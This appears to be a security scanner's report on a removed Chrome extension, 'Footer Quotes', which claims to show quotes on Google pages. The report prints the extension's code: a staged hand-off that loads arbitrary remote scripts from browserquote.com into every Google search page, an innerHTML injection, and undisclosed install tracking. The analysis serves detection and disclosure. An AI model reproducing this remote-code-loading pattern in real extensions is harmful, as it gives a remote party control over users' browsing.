Footer Quotes

ID: ghccdmbfigmijeekcmgieglignhcddcc

Could be malicious

Supported Languages

🇧🇷Brazilian Portuguese
🇳🇱Dutch
🇺🇸English
🇫🇷French
🇩🇪German
🇮🇹Italian
🇪🇸Spanish

Extension Info & Metadata

Status
Removed
Version
2.0.7
Size
0.02 MB
Rating
4.4/5
Reviews
39
Users
70,000
Type
Extension
Updated
Sep 20, 2021
Category
14_fun
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
Footer QuotesView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
70,000

A new quote in the footer of the Google search pages.

Footer Quotes is a lightweight extension that does one thing. Inspire you every time you open Google by displaying a quote from famous people.

Item
Type
Severity
Description
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.

Injects a <script> tag whose src is an arbitrary URL read from localStorage['quid']. The URL ultimately originates from an external message sent by browserquote.com (see bg.js onMessageExternal -> content-script.js), so the extension owner (or anyone who compromises that domain) can load and execute arbitrary JavaScript on every Google search domain in the content-script's origin. This is classic remote code loading and violates Chrome Web Store policy MV3.

quotes.js (Line 1)
let quid = localStorage.getItem("quid");localStorage.removeItem("quid");if (quid) {  let el = document.createElement('script');  el.src = quid;  document.getElementsByTagName("html")[0].appendChild(el);}

The service worker accepts messages from browserquote.com and stores whatever arbitrary value is provided in request.id under chrome.storage.local['quotes']. That value is later used by content-script.js as (a) a script URL piped into quotes.js and (b) raw innerHTML appended to Google pages. This gives the first-party website full remote-control of code/HTML execution inside the extension context.

bg.js (Line 35)
chrome.runtime.onMessageExternal.addListener(  function(request, sender, sendResponse) {    if (sender.origin === 'https://browserquote.com' && request.id) {      chrome.storage.local.set({        'quotes': request.id      });    }  });

The content script (run_at document_start, all_frames, on every Google TLD worldwide) forwards the attacker-controlled 'quotes' value into page-context localStorage as 'quid', then injects quotes.js into the page so that the page-context script can read 'quid' and load the remote URL as a script. This staged hand-off is a deliberate CSP/isolated-world bypass pattern for remote code execution.

content-script.js (Line 21)
chrome.storage.local.get(["quotes"], function(a) {  if (a['quotes']) {    localStorage.setItem("quid", a['quotes']);  }  let p = document.createElement('script');  p.src = chrome.runtime.getURL('quotes.js');  document.getElementsByTagName('html')[0].appendChild(p);});

Assigns attacker-controlled storage content directly to innerHTML and appends it to every Google search page, enabling stored HTML injection (and, with event-handler attributes or <iframe srcdoc>, arbitrary script execution in the page's origin). The 'quotes' value comes from externally_connectable messages sent by browserquote.com.

content-script.js (Line 53)
chrome.storage.sync.get(['quotes'], function(data) {  if (data && data['quotes']) {    const el = document.createElement('div');    el.innerHTML = data['quotes'];    document.getElementsByTagName("html")[0].appendChild(el);  }});

Beacons install, update, and uninstall events (with extension id, version, reason, and install timestamp) to browserquote.com via URL parameters and a registered chrome.runtime.setUninstallURL. This is telemetry/tracking of individual users that is not disclosed in the extension's stated functionality (footer quotes).

bg.js (Line 1)
function trackInstall(details) {  let now = Date.now() / 1000;  let version = chrome.runtime.getManifest()    .version;  let url = 'https://browserquote.com/installed.php?t=url&extid=' + encodeURIComponent(chrome.runtime.id) +    '&iid=0013' +    '&version=' + encodeURIComponent(version) +    '&reason=' + encodeURIComponent(details.reason);  if (details.reason === "install") {    chrome.storage.sync.set({      'installed_at': now    }, function() {});    chrome.tabs.create({      url: url    });    chrome.runtime.setUninstallURL('https://browserquote.com/uninstalled.php?extid=' + chrome.runtime.id);  } else if (details.reason === "update") {    chrome.storage.sync.get(['installed_at'], function(data) {      chrome.tabs.create({        url: url + '&installed_at=' + data['installed_at']      });    });  }}

By severity

Critical3
High1
Medium1
Low0

Versions scanned

Showing 1 of 7 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.0.75

Files with findings

3 distinct paths — top paths by unique finding count:

  • bg.js2
  • content-script.js2
  • quotes.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
bg.js (line 35)The service worker accepts messages from browserquote.com and stores whatever arbitrary value is provided in request.id under chrome.storage.local['quotes']. That value is later used by content-script.js as (a) a scri…
2Remote Code Loading
critical
quotes.js (line 1)Injects a <script> tag whose src is an arbitrary URL read from localStorage['quid']. The URL ultimately originates from an external message sent by browserquote.com (see bg.js onMessageExternal -> content-script.js), …
3Remote Code Loading
critical
content-script.js (line 21)The content script (run_at document_start, all_frames, on every Google TLD worldwide) forwards the attacker-controlled 'quotes' value into page-context localStorage as 'quid', then injects quotes.js into the page so t…
4Code Injection
high
content-script.js (line 53)Assigns attacker-controlled storage content directly to innerHTML and appends it to every Google search page, enabling stored HTML injection (and, with event-handler attributes or <iframe srcdoc>, arbitrary script exe…
5Tracking
medium
bg.js (line 1)Beacons install, update, and uninstall events (with extension id, version, reason, and install timestamp) to browserquote.com via URL parameters and a registered chrome.runtime.setUninstallURL. This is telemetry/track…
URLs
193
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

browserquote.com/installed.phphttps://browserquote.com/installed.php?t=url&extid=
browserquote.com/uninstalled.phphttps://browserquote.com/uninstalled.php?extid=
browserquote.com-https://browserquote.com
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
browserquote.com/*https://browserquote.com/*
www.google.com/*https://www.google.com/*
www.google.ad/*https://www.google.ad/*
www.google.ae/*https://www.google.ae/*
www.google.com.af/*https://www.google.com.af/*
www.google.com.ag/*https://www.google.com.ag/*
Showing 1 to 10 of 200 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 7 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.